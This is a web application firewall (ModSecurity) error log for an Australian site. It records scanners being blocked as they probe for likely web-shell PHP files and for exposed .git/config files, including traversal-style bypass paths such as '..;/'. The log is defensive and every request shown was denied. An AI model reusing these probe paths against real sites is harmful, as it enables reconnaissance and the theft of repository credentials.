[Wed Nov 26 00:50:18.164740 2025] [:error] [pid 28836:tid 29012] [client 4.241.179.168:9191] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pyrometry.php"] [unique_id "aSXeSpwNRsoxcLQGkTcbdwAAAtY"]
[Wed Nov 26 00:50:18.395404 2025] [:error] [pid 43981:tid 43998] [client 4.241.179.168:9209] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unprecipitously.php"] [unique_id "aSXeSggZn97m_qh_RaGWhAAAAw8"]
[Wed Nov 26 00:50:18.633255 2025] [:error] [pid 14168:tid 14192] [client 4.241.179.168:9155] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unprecipitously.php"] [unique_id "aSXeSvR-ZDU0QEgAIIu7awAAANU"]
[Wed Nov 26 00:50:18.905460 2025] [:error] [pid 14078:tid 14141] [client 4.241.179.168:9137] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unprecipitously.php"] [unique_id "aSXeStVXYbb0ii_rVoLa1AAAAIQ"]
[Wed Nov 26 00:50:19.143182 2025] [:error] [pid 2987:tid 3007] [client 4.241.179.168:9145] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unprecipitously.php"] [unique_id "aSXeS8-djEt-pTzPxnz95gAAAVI"]
[Wed Nov 26 00:50:19.486223 2025] [:error] [pid 14168:tid 14188] [client 4.241.179.168:9037] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unbefittingly.php"] [unique_id "aSXeS_R-ZDU0QEgAIIu7bAAAANE"]
[Wed Nov 26 00:50:19.740236 2025] [:error] [pid 14078:tid 14155] [client 4.241.179.168:9115] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unbefittingly.php"] [unique_id "aSXeS9VXYbb0ii_rVoLa1wAAAJI"]
[Wed Nov 26 00:50:20.048569 2025] [:error] [pid 43981:tid 44002] [client 4.241.179.168:9199] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unbefittingly.php"] [unique_id "aSXeTAgZn97m_qh_RaGWhQAAAxM"]
[Wed Nov 26 00:50:20.288964 2025] [:error] [pid 43981:tid 43994] [client 4.241.179.168:9188] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unbefittingly.php"] [unique_id "aSXeTAgZn97m_qh_RaGWhgAAAws"]
[Wed Nov 26 00:50:20.627071 2025] [:error] [pid 14078:tid 14153] [client 4.241.179.168:9214] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-home.php"] [unique_id "aSXeTNVXYbb0ii_rVoLa2AAAAJA"]
[Wed Nov 26 00:50:20.868917 2025] [:error] [pid 28609:tid 28620] [client 4.241.179.168:9070] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-home.php"] [unique_id "aSXeTCGGdT-nZJVs3x0oAAAAAYI"]
[Wed Nov 26 00:50:21.187728 2025] [:error] [pid 14078:tid 14161] [client 4.241.179.168:9029] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-home.php"] [unique_id "aSXeTdVXYbb0ii_rVoLa2wAAAJg"]
[Wed Nov 26 00:50:21.458655 2025] [:error] [pid 43981:tid 43991] [client 4.241.179.168:9039] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-home.php"] [unique_id "aSXeTQgZn97m_qh_RaGWiAAAAwg"]
[Wed Nov 26 00:50:21.803100 2025] [:error] [pid 28609:tid 28623] [client 4.241.179.168:9125] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-securitiy.php"] [unique_id "aSXeTSGGdT-nZJVs3x0oAwAAAYU"]
[Wed Nov 26 00:50:22.481762 2025] [:error] [pid 14168:tid 14187] [client 4.241.179.168:9054] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-securitiy.php"] [unique_id "aSXeTvR-ZDU0QEgAIIu7bgAAANA"]
[Wed Nov 26 00:50:23.231426 2025] [:error] [pid 43843:tid 43863] [client 4.241.179.168:9134] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-securitiy.php"] [unique_id "aSXeTxhx4v3NUNdMKDMgcAAAAdI"]
[Wed Nov 26 00:50:24.311667 2025] [:error] [pid 43981:tid 43987] [client 4.241.179.168:9154] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-securitiy.php"] [unique_id "aSXeUAgZn97m_qh_RaGWiwAAAwQ"]
[Wed Nov 26 00:50:25.168219 2025] [:error] [pid 14078:tid 14144] [client 4.241.179.168:9127] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-ac.php"] [unique_id "aSXeUdVXYbb0ii_rVoLa3wAAAIc"]
[Wed Nov 26 00:50:25.934714 2025] [:error] [pid 43981:tid 43985] [client 4.241.179.168:9098] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-ac.php"] [unique_id "aSXeUQgZn97m_qh_RaGWjgAAAwI"]
[Wed Nov 26 00:50:26.274687 2025] [:error] [pid 43981:tid 43998] [client 4.241.179.168:9045] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-ac.php"] [unique_id "aSXeUggZn97m_qh_RaGWjwAAAw8"]
[Wed Nov 26 00:50:26.708008 2025] [:error] [pid 14078:tid 14159] [client 4.241.179.168:9104] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-ac.php"] [unique_id "aSXeUtVXYbb0ii_rVoLa4gAAAJY"]
[Wed Nov 26 00:50:27.454024 2025] [:error] [pid 43981:tid 43997] [client 4.241.179.168:9036] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nof.php"] [unique_id "aSXeUwgZn97m_qh_RaGWkAAAAw4"]
[Wed Nov 26 00:50:27.746344 2025] [:error] [pid 14078:tid 14154] [client 4.241.179.168:9051] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nof.php"] [unique_id "aSXeU9VXYbb0ii_rVoLa6QAAAJE"]
[Wed Nov 26 00:50:27.986013 2025] [:error] [pid 28609:tid 28635] [client 4.241.179.168:8991] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nof.php"] [unique_id "aSXeUyGGdT-nZJVs3x0oGAAAAZE"]
[Wed Nov 26 00:50:28.340593 2025] [:error] [pid 28836:tid 29007] [client 4.241.179.168:9195] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nof.php"] [unique_id "aSXeVJwNRsoxcLQGkTcbfgAAAtE"]
[Wed Nov 26 00:50:28.694644 2025] [:error] [pid 14078:tid 14144] [client 4.241.179.168:9211] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test1.php"] [unique_id "aSXeVNVXYbb0ii_rVoLa7AAAAIc"]
[Wed Nov 26 00:50:29.050807 2025] [:error] [pid 2987:tid 3011] [client 4.241.179.168:9205] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test1.php"] [unique_id "aSXeVc-djEt-pTzPxnz97QAAAVY"]
[Wed Nov 26 00:50:29.363744 2025] [:error] [pid 28609:tid 28626] [client 4.241.179.168:9175] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test1.php"] [unique_id "aSXeVSGGdT-nZJVs3x0oGgAAAYg"]
[Wed Nov 26 00:50:29.632644 2025] [:error] [pid 14076:tid 14096] [client 4.241.179.168:9168] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test1.php"] [unique_id "aSXeVXsB4Gz6Qw-pvBt-VwAAAA8"]
[Wed Nov 26 00:50:30.027748 2025] [:error] [pid 14076:tid 14104] [client 4.241.179.168:9118] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unbalanceable.php"] [unique_id "aSXeVnsB4Gz6Qw-pvBt-WgAAABc"]
[Wed Nov 26 00:50:30.341676 2025] [:error] [pid 14168:tid 14193] [client 4.241.179.168:9053] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unbalanceable.php"] [unique_id "aSXeVvR-ZDU0QEgAIIu7fAAAANY"]
[Wed Nov 26 00:50:30.746763 2025] [:error] [pid 14076:tid 14105] [client 4.241.179.168:9085] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unbalanceable.php"] [unique_id "aSXeVnsB4Gz6Qw-pvBt-XgAAABg"]
[Wed Nov 26 00:50:31.047473 2025] [:error] [pid 28609:tid 28636] [client 4.241.179.168:9177] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/unbalanceable.php"] [unique_id "aSXeVyGGdT-nZJVs3x0oHAAAAZI"]
[Wed Nov 26 00:50:31.620631 2025] [:error] [pid 14077:tid 14114] [client 4.241.179.168:9140] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSXeVxG9n7UHEkwDTygC6AAAAEQ"]
[Wed Nov 26 00:50:31.894541 2025] [:error] [pid 14078:tid 14139] [client 4.241.179.168:9150] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSXeV9VXYbb0ii_rVoLa9AAAAII"]
[Wed Nov 26 00:50:32.277620 2025] [:error] [pid 43981:tid 43993] [client 4.241.179.168:9108] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSXeWAgZn97m_qh_RaGWmgAAAwo"]
[Wed Nov 26 00:50:33.072987 2025] [:error] [pid 28739:tid 28769] [client 4.241.179.168:8969] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSXeWRxGpKmlkG4FexTzZAAAAgc"]
[Wed Nov 26 00:50:33.467423 2025] [:error] [pid 14076:tid 14087] [client 4.241.179.168:8966] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-advaced.php"] [unique_id "aSXeWXsB4Gz6Qw-pvBt-ZAAAAAY"]
[Wed Nov 26 00:50:33.790923 2025] [:error] [pid 43981:tid 44003] [client 4.241.179.168:9092] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-advaced.php"] [unique_id "aSXeWQgZn97m_qh_RaGWoAAAAxQ"]
[Wed Nov 26 00:50:34.101632 2025] [:error] [pid 28836:tid 28986] [client 4.241.179.168:9088] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-advaced.php"] [unique_id "aSXeWpwNRsoxcLQGkTcbgQAAAs8"]
[Wed Nov 26 00:50:34.567894 2025] [:error] [pid 28739:tid 28771] [client 4.241.179.168:9193] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-advaced.php"] [unique_id "aSXeWhxGpKmlkG4FexTzaAAAAgk"]
[Wed Nov 26 00:50:34.931246 2025] [:error] [pid 43843:tid 43869] [client 4.241.179.168:9121] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aSXeWhhx4v3NUNdMKDMgfwAAAdg"]
[Wed Nov 26 00:50:35.193675 2025] [:error] [pid 14076:tid 14097] [client 4.241.179.168:9031] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aSXeW3sB4Gz6Qw-pvBt-ZgAAABA"]
[Wed Nov 26 00:50:35.922937 2025] [:error] [pid 14076:tid 14091] [client 4.241.179.168:9105] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aSXeW3sB4Gz6Qw-pvBt-aQAAAAo"]
[Wed Nov 26 00:50:36.660342 2025] [:error] [pid 2987:tid 3002] [client 4.241.179.168:9179] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aSXeXM-djEt-pTzPxnz99wAAAU0"]
[Wed Nov 26 00:50:37.328417 2025] [:error] [pid 14078:tid 14154] [client 4.241.179.168:9060] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aSXeXdVXYbb0ii_rVoLa_gAAAJE"]
[Wed Nov 26 00:50:37.699345 2025] [:error] [pid 14076:tid 14100] [client 4.241.179.168:9173] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aSXeXXsB4Gz6Qw-pvBt-cQAAABM"]
[Wed Nov 26 00:50:38.170682 2025] [:error] [pid 14076:tid 14088] [client 4.241.179.168:9060] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aSXeXnsB4Gz6Qw-pvBt-dQAAAAc"]
[Wed Nov 26 00:50:38.599920 2025] [:error] [pid 14078:tid 14144] [client 4.241.179.168:9048] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aSXeXtVXYbb0ii_rVoLbAwAAAIc"]
[Wed Nov 26 01:21:38.431839 2025] [:error] [pid 28739:tid 28777] [client 213.21.239.4:35272] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/dev/.git/config"] [unique_id "aSXlohxGpKmlkG4FexT9SAAAAg8"]
[Wed Nov 26 01:21:38.434720 2025] [:error] [pid 43843:tid 43852] [client 213.21.239.4:35302] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/.git/config;"] [unique_id "aSXlohhx4v3NUNdMKDMlTwAAAcc"]
[Wed Nov 26 01:21:38.434790 2025] [:error] [pid 14168:tid 14172] [client 213.21.239.4:35296] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand../.git/config"] [unique_id "aSXlovR-ZDU0QEgAIIvCEgAAAME"]
[Wed Nov 26 01:21:38.437012 2025] [:error] [pid 43843:tid 43858] [client 213.21.239.4:35300] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/..;/.git/config"] [unique_id "aSXlohhx4v3NUNdMKDMlUQAAAc0"]
[Wed Nov 26 01:21:38.437984 2025] [:error] [pid 2987:tid 3012] [client 213.21.239.4:35384] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/application/.git/config"] [unique_id "aSXlos-djEt-pTzPxnwFWQAAAVc"]
[Wed Nov 26 01:21:38.438936 2025] [:error] [pid 28739:tid 28783] [client 213.21.239.4:35408] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/common/.git/config"] [unique_id "aSXlohxGpKmlkG4FexT9SQAAAhU"]
